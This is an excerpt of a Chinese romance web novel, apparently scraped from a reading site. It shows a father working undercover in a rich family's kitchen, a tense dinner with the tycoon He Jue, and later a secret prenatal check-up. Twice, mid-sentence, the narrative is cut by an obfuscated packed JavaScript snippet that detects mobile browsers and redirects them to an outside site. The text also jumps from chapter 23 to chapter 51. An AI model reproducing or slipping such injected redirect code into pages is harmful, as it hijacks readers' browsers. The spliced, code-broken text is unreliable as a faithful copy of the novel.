沈望戴着大口罩,将脸捂得严严实实,不停地点头说好。 劳务公司还说,因为他没有接受过岗前培训,所以进去前三个月的工资要公司先压着,等表现突出,获得雇主的认可,才会发放80%。 沈望瞧他们这压榨人的手段堪称极致,心下想着,等他把女儿跟龙傲天拆散了,一定要给有关的劳务部门投放检举信,给这黑心公司一锅端掉,为民除害。 沈望是按照后厨帮厨的雇佣工关系,被人领进萧家别墅的。 他的老本行就是杀鱼洗鱼,干起活来麻溜极了,基本上主厨要求备用的菜品,光是沈望自己一个人,就能在半小时内准备完毕,而且清洗干净,削片切丝,没有不会的。 其他后厨帮厨的人逐渐对沈望产生兴趣,问他是不是在哪里进修过厨艺,怎么像是经过专业培训的。 沈望很自傲地说,“我女儿今年快十九了,从婴儿辅食,再到水饺小笼包子蔬菜面,全部都是我自己亲手包办的,毕竟现在的科技狠活太多了,我怕孩子吃的防腐剂太多对身体不好,只要是能从菜谱上学到的,基本全部亲手制作。” 只要一谈起女儿,沈望仿佛浑身都在发光。 他在人前比划了一下道,“我女儿生下来只有四十几厘米,护士说孩子体质太弱了,恐怕不好养活,我每天抱着她上工,全程母乳喂养,现在已经是个亭亭玉立的小美人了。” 一旁听闲话的人多数都有自己的孩子,听见沈望一个单身汉辛苦养小孩,不免产生心灵共振。 其中一个年轻点的帮厨好奇问,“什么叫全程母乳喂养?你把老婆也一起带着上工吗?” 沈望的脸蓦得红透了,若不是有口罩遮掩,恐怕他一张老脸要烧碎了。 幸亏旁边的一个中年女佣插嘴道,“你是不是傻?现在都有挤奶器,只要把乳汁挤进去,再放进小冰箱里保鲜就行了。” 沈望立刻涨红脸道,“对对对,就是把奶挤进杀过菌的奶瓶子里。” 其实当初他刚到广城讨生活,哪里有什么生活基础,全部靠自己摸爬滚打,除了偷抢之外,沈望连凑剖腹产的钱都十分艰难,差点死在黑诊所的手术台上。 不过这些事情不提也罢。 沈望打算趁大家回到各自的工位上时,在别墅里转一转,好尽早找到萧诼的房间。 却见掌管整个别墅全部事宜的管家急匆匆进来,拍了拍手,对所有人道。 “今天少爷要带重要客人来家里吃晚餐,所有人快速将别墅收拾一遍,萧先生萧夫人晚上一并到场,后厨的人提前备好菜,晚上要请雍露华的法国主厨过来烹饪,后厨环境必须要达标,免得主厨不高兴。” 管家前脚一走,余下的人便围在一起议论纷纷,猜测着萧家太子爷今晚要带什么重要的客人来家里用餐,看起来还尤其郑重。 有人猜测是萧诼要带着同学回家,不过更多的人是猜着少爷要带女朋友回家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14418977|152650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见父母了。 只有沈望一个人孤零零地站在后厨角落里生闷气。 凭什么两个人偷偷谈恋爱,妙妙要跟着萧诼先来见他父母啊? 难道不是应该先来跟他这个准岳父见一面,征求他的同意吗? 呸! 沈望打从心底来来讲,才不稀罕萧诼这个狗屎女婿。 呸呸呸! 可惜木已成舟。 女儿大了有自己的心思,即使是找了男朋友这样天大的事情,也没有跟做爸爸的透露过一丝一毫啊!! 挫败感。 深深的挫败感一直萦绕在沈望心头,久久不能挥散,以至于他下午认真片鱼骨时,险些将手指削掉一块肉。 晚上八点钟整。 萧家上下已经焕然一新,全家所有的佣人全部穿干净制服,位于别墅的林荫道两侧列队,恭迎萧家主人。 沈望内心不由将萧家和鹤公馆做了一番比较,发现萧家张扬,喜欢事事讲排场,而鹤爵为人处世低调,即使身价不俗也住的刚刚好的房子,不会在家里搞太过等级分明的阵仗。 而且。 沈望也不是故意偏向鹤爵的。 要知道萧家风光无限,最终还不是被鹤爵一根手指捻得灰飞烟灭,论到底,还是鹤爵要厉害许多。 ..... 沈望悄然捏了大腿一把,用剧痛来停止自己胡思乱想的行为。 不到十分钟,萧家的夫妇二人已经盛装出现在大门口C位,面含春风地迎接贵客。 沈望恰好将两人的外貌看得清清楚楚,以防将来总要看见这俩人的脸。 萧先生仪表堂堂,是个威严大气的人物,而萧夫人则端庄秀丽,举手投足尽显豪门贵妇的风度。 沈望倒不是刻意贬低自己,不过像他这种身份,用常人的话讲,就是在卖女儿高攀有钱人。 “我才不会卖女儿呢。” 沈望碎碎念着,内心焦灼地等待着萧诼究竟把谁带回了家。 直到大门外缓缓驶进来一辆加长宾利车,乘着夜色慢慢滑向灯光中央,高级手工烤制的车身暗光闪耀,尽显神秘高贵。 萧诼先从车中下来,虽然还是一头炸眼的黄毛,不过穿上西装后,明显耐看不少。 而后所有人都等着车辆的另一边,走下来一位身段窈窕的清秀佳人。 哪知车门打开的瞬间,先是一只擦拭黑亮的皮鞋沉稳落地,接着是一条笔直匀称的逆天长腿,包裹着腿部的西装面料熨帖笔挺,连一道折痕都没有。 随后,走下来一位身姿伟岸,面容冷峻的浓颜系帅哥,年龄只比萧先生小个几岁,但岁月在他身上留下的不是刀痕,而是积淀。 一种风度翩翩与成熟儒雅的积淀,沉甸甸得坠满鹤爵的身体,成为他的不可小觑的精神勋章。 鹤爵摸了摸钻石袖扣,一身平展的西装加持之下,使得他在威严的萧先生面前,更像是鄙睨众生的王者。 萧先生一瞧居然是鹤爵,连说话都开始结巴起来,暗自对儿子萧诼怪道,“臭臭......臭小子,你把爵爷请来家里,怎么电话里完全不讲清楚!” 眼神追杀:真想捏死你这个不知分寸的逆子!! 沈望:“!!!!” 23.第 23 章 鹤爵立刻被萧家请到上位,依照全京城圈子都知道的规矩,凡事能与其他豪门大佬扯上关系,此事必成百分之六七十,假如能入得了鹤爵的法眼,绝对是百分之百的成功,而且属于高盈利高回报。 沈望借口有严重鼻炎,面上戴一层巨大的口罩,身上照例套两件秋衣,在大夏天里捂得像未开棺的木乃伊,所以他很有信心,即使鹤爵从身边经过,也不一定能瞧得出他的身份。 ...... 才不是呢!姓鹤的天天抱着他闻他的味儿呢,即使化成灰也会被发现! ...... 对了,鹤爵根本没有嗅觉!! 沈望在有一点兴奋和狠狠被打击中,最终判断出这一次的见面纯属偶然,豪门与豪门间的私人会面时常有之。 ——并不是为了我,我们已经结束了,更不是来见我的,我只是一个区区生过娃的没用男人罢了。 沈望替自己做了一整套的心理疏导,重新变得积极起来,主动在后厨帮忙做事,替高薪聘请来的法国主厨刨鱼肉,剃鱼骨。 鹤爵这边完全被谄媚的笑脸包围了,萧家夫妇二人不停地找话题恭维他,以至于本人都觉得过于浮夸。 他只是善于捐款,但不是善于做阴奉阳违的事情。 鹤爵打断俩人的话题,朝一旁的萧诼淡道,“你的父母双亲十分健谈,这一点你倒是没怎么相像。” 萧先生立刻听出话外音是嫌弃萧诼太沉默,不够积极主动,从桌子下面探过去一只脚,狠狠地给臭儿子一点教训。 萧诼提前预判了父亲的举动,转身顺便收回脚面,令腿短的萧先生怎么也摸索不到目标。 萧诼显得十分自信,之前在三方坐在一起时,他已经跟父母解释过,自己新研发的游戏意外得到了鹤先生的垂青,所以才会有今天这次的见面。 萧诼说,“鹤先生您能赏脸,原本就是看中我的才华,假如我是一个只有灵巧的嘴唇,而头脑空空的人,恐怕也引不起您的兴趣。” 萧诼是本书第一男主角,这本小说给他的人设定位立得十分鲜明。 智商200,情商100,这种标配是为了在遇见劲敌的时候,啪啪打脸,完全不用遵纪守法。 萧先生的脸都快要变绿了。 鹤爵反倒笑了,“所以,我近十年一直在投资年轻的创业人,这些孩子们更有想法,敢于实践,不畏艰难,最重要的是......” 鹤爵的手点了点萧诼的方向,“大胆妄为到不会被世俗规矩所约束,敢于打破壁垒,挑战自我。” 其实萧家自己也有足够的资金基础,只是萧诼身为龙傲天,肯定是要白手起家,坚决不靠家里的一针一线。 萧先生听见鹤爵在夸赞萧诼,不住地心虚道,“爵爷,您实在是太高看犬子了,这个孩子确实有一定的头脑,可都是小聪明而已,您知道的,我们家里的生意方向是建筑行业,他一门心思想证明自己,准备投身到IT行业,完全不打算接手家里的产业。” 即使如此,萧先生的话术也异常高明,转声赞道,“所幸遇见爵爷您这样的贵人相助,犬子能得到您的青眼有加,简直是犬子修来的造化。” 上辈子一定拯救了银河系! 萧先生欲扬先抑,最后的重点还是要促成这笔交易,让鹤爵带着萧诼走上经商之路,肯定是比走捷径还要快。 鹤爵自然心中有数,与萧诼道,“刚才萧先生不提,我确实也没有多想,一般豪门家的少爷多数不务正业,萧诼能有如此远见和头脑,确实比很多人强出一截。” 商业性的彩虹屁吹到此处应该结束。 萧诼却一身反骨,总要在关键时刻抛点话题出来,引发剧情波折,言道,“其实鹤先生谬赞了,我一方面确实想要证明自己的能力,一方面也是为了能尽早脱离父母的约束。” “哦,什么约束?” 萧诼完全不管所有人对自己挤眉弄眼,硬要讲道,“我还需要在一个人面前证明自己是值得依靠的。” “是吗?”鹤爵猜的极其准确,“是心上人?” “不不不,”这次轮到萧夫人插嘴,“小诼还只是一个刚成年的孩子,哪里有什么心上人?即使有,也应该是从千金名媛里找。” 转了一圈,“鹤先生听了勿要见怪,我其实一直特别喜欢您的侄女鹤若妍,那个孩子漂亮温婉,跟我家的小诼站在一起,简直郎才女貌,天设地造的一对儿。” 萧诼张嘴反驳,萧先生已经开口堵嘴道,“哦,今天不要提这些风花雪月,应该先请鹤先生来品尝一下五星级餐厅大厨的技艺。” 法国主厨已经亲自推着餐车,将烹饪好的第一道开胃菜呈现出来。 萧夫人则换了位置,一把摁住萧诼的肩膀,低声警告说,“跟你的那个女孩,今晚把她的名字咽进肚子里,不准再提。” “鹤爵是鹤若妍的什么人?你不要在自己未来的事业规划上玩火。” 而后假装是要去整理容妆,扭着腰匆匆离去。 萧诼想了想,硬忍了下去。 他妈妈并不是很满意沈妙妙,毕竟社会中有无形的阶层存在,像他们这样的高阶层,和像沈妙妙那样的低阶层,之间是有着厚重壁垒的。 所以萧诼才不惜一切代价,希望能白手起家,顺利拿到筹码,跟自己真正喜欢的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14439806|152650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人在一起。 每个人都心怀异念。 第二道菜是法国著名的马赛鱼汤,鹤爵在微微抿了一口的时候,蹙了下眉头。 萧先生立刻敏锐地捕捉到,紧张问,“爵爷,是感觉没有处理到位吗?” 鹤爵道,“并没有,你不用在意。” 萧先生赶紧挥挥手,快速撤菜,接连上了第三道副菜,是生腌哈马鱼,鱼肉是经过精心处理的,细腻莹白恍如碧玉。 鹤爵又是浅尝了一点,入口即化的鱼肉在口腔内发散出的味道,居然如此香醇,微乎其微地渗透着一整个口腔内部。 !!! 不对,他已经失去味觉很多年了,怎么会!! 鹤爵放下刀叉,一抬眼看见萧家的夫妻二人双手拿着餐巾,快要将布帛撕裂般地紧张极了。 “我的晚餐一向用的不多,你们俩位请随意。” 虽说是替俩人解决紧张氛围,不过鹤爵觉得时间也差不多了,起身与所有人道,“今天很高兴能被邀请,不过天气不佳,趁没有下雨之前,我还是应该先离开。” 萧先生啊了一声,连忙点头,“对,咱们家距离鹤公馆确实有点距离,马上要下雨了,还是需要注意安全。” 萧夫人暗处捣了老公一肘,聪明人一上年纪就容易变傻。 这个世界上,怎么不是所有的男人都像面前的鹤爵一样,英俊潇洒,风度翩翩,还掌握着整个京城的经济命脉呢?! 萧诼像是之前被妈妈嫌弃了女朋友,逮住机会变本加厉道,“不要犯花痴,臭老太婆快擦擦口水吧。” 萧夫人翻他一个大白眼。 萧先生则忽然警醒,连声挽留说,“如果不嫌弃,爵爷您看咱这房子还算入得了眼吗?” “我一定将屋子收拾妥帖,不会轻易打扰您的休息的。” 无论私人聚会或慈善酒会,鹤爵无论千里迢迢,必须返回鹤公馆休息,他有洁癖,从不在私人领域之外逗留。 不过。 暗沉的天空微微闪过一道明光。 山雨欲来风满楼,盛夏的阵雨说来便来。 鹤爵道,“那便叨扰了。” 萧家夫妇欢天喜地,一方面叫人快速收拾最豪华的客房,一方面给儿子递眼色,一定要紧抓任何可以利用的条件,将鹤爵留在家里。 鹤爵将一切默默纳入眼底,并没有揭穿对方的小动作,若是非要给他留下来找个理由。 鹤爵心底的残酷堪比北极的阳光,非但没有融化万里冰封,更是增添一份毫无希望的惨白。 ——沈望,我来亲自验一验剧情线了,你亲眼见了,会紧张到哭鼻子吗? 50-60 第51章 偷感 鹤爵讲完之后, 沈望并没展现出更多的情绪,而是陷入沉思,就像他得知自己的肚子里,正在孕育着一个全新的生命所体现的那样。 安安静静的。 跟电视剧里那些相爱的夫妻, 再看到验孕棒呈现出阳性时的亢奋或欣喜。 都没有。 鹤爵认真思考了一下, 选择不要把人逼的太紧, 孩子虽然是上天馈赠的礼物,但也冥冥中承载着一定的挑战和压力。 沈望独自陷入沉思, 直到感觉鹤爵的手微微发起凉, 才有所警觉地看着他说。 “不要太担心我是讲, 以前是我一个人面对怀孕的事情, 好像挺无所畏惧的,不过现在却是要面对三个人, 所以突然变得谨小慎微起来。” 也对。 他们还有一个已经成年了的可爱女儿, 而且女儿还并不知道自己是男人生的, 更不知道自己的爸爸之一,会是京城内鼎鼎大名的爵爷。 对于鹤爵来讲,他还没有完全获得沈望的百分之百的信任,更没有得到女儿的原谅与认同, 两人还没有一起更好地宠爱女儿, 补足缺失的遗憾。 总之, 二宝来的时机似乎并不合适。 鹤爵被沈望的情绪迅速传染,不由也在认真思考, 究竟该怎么做,才能达到所谓的两全其美。 沈望却像是发现了新大陆, 晦暗不明的情绪被一扫而空,推着鹤爵催促道, “好,今天就在这里分开吧。” 什么?! 分开吧?! 鹤爵沿着沈望的视线投射去,看见沈望的破落院门外,站着一位亭亭玉立的少女,正猫着腰往锈迹斑斑的大铁门内观望。 “妙妙?” “我女儿回家了!” 鹤爵的视野几乎是一闪而过,整个人被兴奋的沈望推到残垣断壁的后面躲起来。 鹤爵道,“什么意思?你不打算让我跟女儿见面?” 沈望面露难色,“妙妙还不认识你,我怕孩子一时间接受不了你的存在。” 鹤爵:“” 女儿认识我,我们背着你在私底下已经交手好几次了。 鹤爵:“我” 沈望双手合十,像是拜佛似的眨巴着虔诚的眼睛,“我就这么一个宝贝女儿,鹤爵,我们找一个合适的机会再公开秘密,好不好?” 鹤爵瞧他急得额头冒汗,心底一软道,“好,你不要着急,我” 他都还没说完余下的话,沈望已经一溜烟地跑回家门口,冲沈妙妙喊道,“我的公主殿下回家啦!” 沈妙妙没料想爸爸居然从身后冒出来,其实她只是从地面看到不少纵横交错的车轮印痕,心底疑惑家里住的偏僻,怎么会有这么多的来往痕迹? 总不会是鹤爵在这附近吧? 沈妙妙扑上去给了沈望一个大大的拥抱,笑得小脸灿烂,又甜又美说,“放暑假了嘛,想偷偷回家给你一个惊喜啦~” 沈望连忙将沈妙妙的行李箱拉进自己手里,拥住女儿的后背道,“上个月才在京城见了你,这个月宝贝就回家了,真好。” “晚上想吃什么,爸爸给你做啊!” 父女俩美滋滋地走进庭院,大铁门一关,无限的父女亲情便被关在院落之内,偶尔能从半空中传出两人快乐的笑声。 被晾在阴暗角落里的某人不停地伸长脖子张望,常年失去味觉的口舌似乎正在被某种又酸又烈的味道袭击。 说他嫉妒沈望吧?沈望理应得到女儿全部的爱,完全没有他可以插足的地方,说他嫉妒沈妙妙吧?女儿早已经取代了他的地位,成为沈望这辈子最在意的人。 鹤爵完全像个遗落在隐秘角落的第三者,看着老婆和女儿在破败的庭院中开怀大笑 没办法,他遗失的十八年并不是分分秒秒的散沙,而是一座山,一条路,一片海。 沈望领着沈妙妙进屋前,还担心赵管家正在家指挥人搞以旧换新,结果完全多虑,鹤爵去找他的时候,已经把所有人都赶走了。 沈望每天都会将女儿的卧室收拾一遍,擦掉细灰,替换蚊帐,打开窗户通风。 沈妙妙像一只慵懒的猫,扑得倒进舒适的大床内,滚了三圈,眯起眼道,“还是家里舒服,真想一辈子都睡在家里。” 沈望满怀柔情地坐在床边,沈妙妙立刻将头摆放在他的大腿上,用白皙软嫩的脸蛋蹭着撒娇,“爸爸的味道是全世界最令人安心的,爱爸爸。” 父女两人亲昵地依靠成一团,沈望的手反复摩挲着女儿稠密的黑发。 妙妙小的时候,最难的就是给女儿扎各种漂亮的小辫子,毕竟幼儿园的小姑娘一个赛一个的会打扮,他的女儿不一定是最漂亮的,但绝对是最软萌的。 摸着摸着。 沈妙妙的头一直紧贴着他的腹部,这让沈望在触碰到妙妙公主的时候,连带着也抚摸到了肚子里的小种子。 当沈望意识到这一点,手指禁不住颤抖起来,忽然觉得这是一种深深地背叛。 ——我发过誓,一辈子只爱妙妙一个人的。 沈妙妙似乎在一瞬间能感受到他的沉郁,不禁转头询问,“爸爸,你怎么了?” 沈望连忙挥散心底所有灰暗的烟霭,言笑晏晏说,“妙妙公主坐了那么久的火车,是不是应该先去洗个澡,爸爸晚上煮你最爱吃的菜,等晚饭点就可以集合啦。” 沈望安顿好女儿,专门出去买了一趟菜,鹤爵已经不在原地等他了。 沈望多少还有点空落落的,心说这人确实斩钉截铁,来也匆匆、去也匆匆。 沈妙妙隔着远远的院墙喊着,“爸爸,我超级想吃葡萄哒!” “好!一定完成任务。” 沈望喜滋滋地买了菜回来,鹤爵又重新出现在家门口附近,朝他招手说,“来。” 沈望不知怎么,尤其担心女儿洗完澡习惯性坐在院子里乘凉,小跑着过去捂住鹤爵的嘴道,“你怎么还没走?” 鹤爵噗噗地轻笑了两声,“你要不要偷感这样重?” 沈望的脸立刻红了,不过他坚信是因为手里提着的东西太多导致。 鹤爵道,“我刚才四处转着看了眼你这房子的院墙,感觉你好像自己把高度加高了。” 沈望当初之所以搬得偏僻,只是为了隐蔽浑身散发的体香问题,随着女儿出落得越来越亭亭玉立,他又开始担心会有坏人盯上沈妙妙,所以只要有空,就将院墙加高了半米,还在上面扎满酒瓶碎片。 鹤爵却说,“可是你家的铁门,我一脚就蹬开了,都不知道该表扬你有安全意识,还是该批评你缺乏安全意识。” “不过没关系。” 他道,“只要你跟女儿住在这里一天,我会派人24小时维护周围的安全。” 鹤爵拉住沈望的手,不停安抚着,“女儿也是我的,你要慢慢相信我,知道吗?” 沈望垫了垫手中的塑料袋子。 鹤爵离开一小阵子,拿来了一整袋进口水果,价位没有挑选特别昂贵的,都是属于普通的贵。 沈望怀疑他不但偷听到女儿想吃什么,还把车子停在隐蔽的地方。 鹤爵递给他道,“我尊重你,先不打扰你和女儿的甜蜜时光。” 沈望急忙打断,“不是的,你误会了,是因为妙妙寒假没有回来,我想跟女儿多独处一段时间。” 沈望说这些话也挺犹豫的,“不过等时机成熟,肯定会让妙妙跟你父女相认的。” “我只怕” 他思考着自己已经跟鹤爵心意想通了,鹤爵并没有做过对不起他的事情,而他也应该慢慢学会敞开心扉,“我只是有点担心妙妙会接受不了,我能生孩子这件事,你懂的,万一被女儿嫌弃的话,我真的会去” 鹤爵低头吻住他,避免某个家伙嘴里随便吐出死字。 “知道了。”鹤爵又吻了吻他的耳垂、脖颈,“你快进屋子,女儿该饿了。” 沈望问,“要不然你先回京城吧,你的工作那么忙,总是留在我这边,要耽误你的生意” 鹤爵慢慢道,“你在这边,我的工作就不忙。” 沈望这下连耳根都红透了,周身的香味陡然浓烈了起来,冥冥中也绊住了鹤爵的身体,两人禁不住诱惑,稍微又亲了一阵。 沈望小声说,“妙妙明天约好了,要去跟小姐妹们逛街,大概有四五个小时的时间,你来接我去医院一趟。” 鹤爵不禁屏息凝神,“四五个小时,去医院能做什么?” 人.流吗? “先做个简单的产检,我在这方面有熟人,不会节外生枝的。” 哦。 鹤爵的心脏经历过千锤百炼,唯独在一件事情上反复遭受折磨。 正是沈望肚子里这个二宝的去留问题。 他们现在正处于矛盾会被激化的重要节点,无论做哪一个决定,都是需要异常小心谨慎的。 不过。 鹤爵大抵是认定了一件事,即使最终留不住二宝,起码沈望和妙妙,他是绝对不能再放弃的。 鹤爵点头,“行,这次听你安排。” 沈望提着四五袋东西进了门,沈妙妙从院子的花架下钻出来,快步上前帮他提东西。 沈妙妙一边走一边问,“爸爸,我刚才怎么好像听见你在门外说话啊?” 沈望做贼心虚道,“没有啊。” “哦,我手里提着好吃的,被一条野狗给跟上了,我就蹲下捡了一块砖头,假装打它。” 沈妙妙问,“那野狗打跑了吗?” 沈望点头,“打跑了。” 第52章 他不亏欠你 沈望提供的信息很准确, 要不然便是沈妙妙是个恪守时间的守时好孩子。 说早晨9:00出门,一早得收拾利索,时间点一到,立刻快乐地出门了。 鹤爵将车停在屋子后面, 小姑娘肯定是不会没事干往那个方向去的, 不过沈妙妙的身影纤细灵活, 跑过去时仿佛一只灵巧的猫儿。 瞬间吸引住鹤爵的全部注意力,差一点将视线死死地拴在女儿身上。 彻底忽视了四周一切动静。 此时此刻, 他只觉得幸福登顶, 谁想他鹤爵一生荣光, 居然在最辉煌的时候, 发现自己还有一个漂亮可爱的女儿。 这发现仿佛化作金光熠熠的勋章,足以终身佩戴在心脏之上。 然后, 有人小声地敲他的车窗玻璃。 鹤爵才依依难舍地收敛回视线, 看见一个带着墨镜的美女站在一侧, 对他说着开门。 鹤爵若不是听出沈望的声音,恐怕是懒得理睬。 沈望居然穿着裙子!!! 鹤爵过于惊讶,险些遗忘如何打开车门锁,慌了半晌, 才开门道。 “沈望?” 沈望肯定比他还显得不自然, 提着百褶裙的裙尾, 好似见不得人般钻进迈巴赫内。 鹤爵依旧难以相信自己的眼睛,又问一句, “沈望?” 沈望穿着一条朴素的连衣裙,裙子看起来颇有点年头的样子, 在脖颈口扎着合宜的丝巾遮掩住喉结,两条手臂和小腿露在外面, 白得发亮,应该是仔细洗去了香味,否则穿成这样子释放的香味更足。 沈望并不想打扮成这副模样,包括连衣裙也是当年怀了沈妙妙后,夏天出门掩人耳目才买的。 鹤爵同一句话询问两遍,直接给人问毛躁了。 主要还是羞耻难当。 “那那我一个活生生的男人,跑去医院里面做产检,难道不拍被人当成怪物吗!” 鹤爵立刻明白为什么当年的资料袋里,沈望从怀上女儿,到生出女儿的时间段内,会断断续续的有一点空白期。 沈望只要男扮女装去产检的时候,私人侦探也没看出来眼前的美女究竟是谁? 若说沈望是个堂堂正正的男子汉,实际上他的容貌属于雌雄莫辨,装扮成女性毫无违和感。 除了胸部是平的,哪里都很合适,堪称天衣无缝。 鹤爵展臂要搂住他,被沈望一把隔开,拉出一道完全不想谈话的距离感。 鹤爵就没再招惹他,不过一路上眼睛的余光完全离不开沈望,几十遍几百次地窥视。 沈望戴的墨镜是拿沈妙妙的,遮住微挑的眉眼后,面部轮廓变得柔和许多,沈妙妙的侧面正是融合沈望的这部分优点,皮肤也跟了他,白皙到令人嫉妒的程度。 鹤爵不敢说自己跟穿女装的沈望坐在车内,依旧能保持着坐怀不乱的淡定。 男人都是血气方刚的动物,尤其三十几岁的男人,对于任何具有新鲜感的刺激,绝对是无法抵抗的。 鹤爵的喉结不断上下滚动,打量着沈望的雪白脖颈,假如没有那条碍眼的丝巾遮掩,恐怕他早已忍不住要变成吸血鬼了。 鹤爵道,“这次先委屈你,我已经在联系这边的人脉,下一次再做产检的话,可以安排更私密一点的医院。” 又问,“你在妇产科有认识的人?难道是给妙妙接生的医生?” 沈望胡乱嗯了一声。 鹤爵伸手,一把抓住他的手,两只手落在裙摆的褶皱里,不停地揉来推去。 沈望说,“你好好开车,不要捣乱。” 鹤爵笑而不语。 驱车两个小时才到了广城妇幼保健医院,都说京城堵车世界闻名,广城才更是当仁不让。 沈望下车抖了抖发麻的双腿,鹤爵已经更快地帮他摁住险些被风掀起的裙摆。 沈望说,“没事,我里面穿着四角内裤。” 我是担心那个吗? 鹤爵将人搂紧,“我是担心你的味儿被其他人闻见。” 裙子底下全部都是浓郁的香味,即使鹤爵的嗅觉失灵,也能感受到四周路过的人正在热辣地打量着这边。 沈望索性由着对方霸气侧漏的行为,两人走进妇幼保健医院,已经有人早在电梯口迎接他们。 沈望看到徐美珊,极不好意思地低笑,“抱歉,徐姐,我又来麻烦你了。” 徐美珊柔声说,“没关系,你这种情况不能挂号,跟我来就行。” 而后将目光打量向鹤爵。 鹤爵颔首示意。 徐美珊第一次见到沈望身边有如此优质有型的男性,作为医生见惯各种情况,早应该是见惯不怪的。 鹤爵的气场着实太强,实在不容小觑。 沈望才后知后觉说,“徐姐,这是妙妙的爸爸。” 讲完后,自己被自己的话羞耻到了,耳根的红痕一直蔓延到锁骨。 鹤爵则心内汹涌膨胀,万年扑克脸露出由心的笑意,与徐美珊主动握手道,“幸会。” 三人走进医院二楼,简直可以用人满为患来形容,广城的妇幼保健院远近闻名,每天光是在这座医院里降生的婴儿就是几十个之多。 鹤爵谨慎地护着沈望穿过熙熙攘攘的走廊,到处都是大肚子孕妇,还有抱着小孩子的女人,随行的家人们悉心地陪伴在左右。 沈望第一次来这里时还傻乎乎的,以为自己得了什么癌症,本着病急乱投医的心态来做了产检。 那个时候孤零零的,与现在截然不同,可以被鹤爵护在怀里,小心谨慎得像是护着珍贵的宝物。 沈望的心情,俨然又发生了一点全新的变化。 徐美珊道,“没有办法,虽然沈望你昨晚给我打了电话,可是每天排队的人太多了,我可以给你单独做B超,但是没有办法插队。” 沈望抬眼看了一下鹤爵,鹤爵立刻心领神会,“放心,我已经叫赵管家无论如何拖延妙妙回家的时间,你不用担心。” 徐美珊只是听了一耳朵,大致也猜到了什么,不过她什么也没讲,只是给沈望递了一张挂号单。 一个小时后,终于轮到两人的号。 沈望做完尿检、血检,趴在鹤爵怀里睡了一会儿,鹤爵耐心给他打扇子,叫号的时候,沈望站起来就要走,被鹤爵拦住道,“方向错了,徐医生让我们单独去那边。” 两人进了一间单独可以做B超的房间,徐美珊道,“抱歉,我的时间可能不多,咱们尽快。” 沈望知道的,徐姐是妇幼保健院有名的产科专家,慕名挂她号的人每天都有七八十位。 徐美珊上次帮沈望把了脉,当时已经诊断出沈望怀孕,不过她只是稍微做了提示,并没有直接干预。 沈望怀过一次,若是再怀,肯定只能来求助于她。 徐美珊问,“两人最后一次的性.生活是什么时间?” 她肯定不是问沈望,沈望穿着十几年前的那条老款女裙出现,作为一个男人,已经是拿出他最大的勇气。 她问鹤爵。 “因为沈望没有例假,并不好判断胎儿的月份,所以还是问问性.生活的最后日期。” 鹤爵想了想,他和沈望无休无止地做了又做,从遇见沈望起就每天在做,实在是不好判断。 鹤爵大致推想了一个日期。 徐美珊算了下,再结合沈望的尿检,血检,言道,“胎儿应该有5-7周,已经成功着床,发育正常的话会有胎芽、胎心。” 徐美珊叫沈望掀开裙子躺平,鹤爵瞧着他躺平后,肚皮软绵绵地覆盖着一层肉,禁不住用自己的手掌心覆盖在上面,暖了暖沈望的腹部。 徐美珊笑说,“现在还没有胎动,需要再等三个月左右。” 她让鹤爵看B超仪中的模糊影像,专业性很强道,“看到了吗,这里是孕囊,已经有12毫米了,发育非常的完整。” 12毫米? 鹤爵使劲从一团黑白相间的画面中辨认着孩子,尤其说有12毫米时,脑海里直接联想到一颗饱满的小黄豆芽。 随后,徐美珊打开胎心检测仪,让两人听见孩子微弱的心跳。 最开始她并没多讲,两人才没注意,直到那颗小黄豆芽的心跳声,“噗通!噗通!”微小地传出来。 有力的,连贯的,清晰的。 沈望一把握住鹤爵的手,眼泪瞬间冲出眼眶,情绪激动道,“这孩子居然已经有心跳声了!” 沈望之前怀孕的时候,根本什么都不懂。 他从来没有听过妙妙在他肚子里“噗通!噗通!”得跟他大声呐喊。 “爸爸!爸爸!” 那个时候他还不知道,以为是颗瘤子。 这孩子俨然从某种程度上,弥补了两人之间的缺失。 所以鹤爵也显得分外激动。 徐医生给沈望递了一张纸巾,让他不要情绪太过激动,而是说,“每一个胎儿最先发育的就是它的心脏,证明着它和母体开始建立血脉共存的联系,它能感受到你的喜怒,所以孕妇的情绪对胎儿的发育起到积极影响。” 鹤爵直勾勾地盯紧着屏幕,他的手拉住沈望的手,仿佛小黄豆芽的胎心正在父母双方之间,建立出一层更为神奇的纽带。 徐美珊让沈望先坐下喝点水,而将鹤爵单独叫了出门。 鹤爵问,“徐医生,是有什么问题吗?” “不,不要紧张,”徐美珊是沈望的大恩人,更是这些年一直见证着沈望将沈妙妙拉扯大的见证者之一。 她见过不少人,所以一眼就能瞧出鹤爵浑身上下的价值和非凡的气度,均不是普通人所能比拟的。 所以也会产生自然而然的情绪——像这样一个有钱的男人,为什么会让自己的配偶,独自一个人艰辛地抚养着孩子长大? 尤其徐美珊更是拿沈望做弟弟对待,这种怀疑的情绪极快会掺杂一部分的生气进去。 她朝鹤爵问道,“沈望今年已经三十几岁了,之前的身体亏损还没有补全,现在再怀孕的话,可能需要更周全的保胎方案。” “我想问问你,你们两人之间是如何决定的?这个孩子,是准备要,还是不准备要?” 其实她说的已经异常委婉,她都没直接质问鹤爵——你究竟是怎么想的?你让一辈子都辛辛苦苦的可怜男人,用什么样单薄的身体,再给你生第二个孩子?! 不过,徐美珊并没有说这种话的立场。 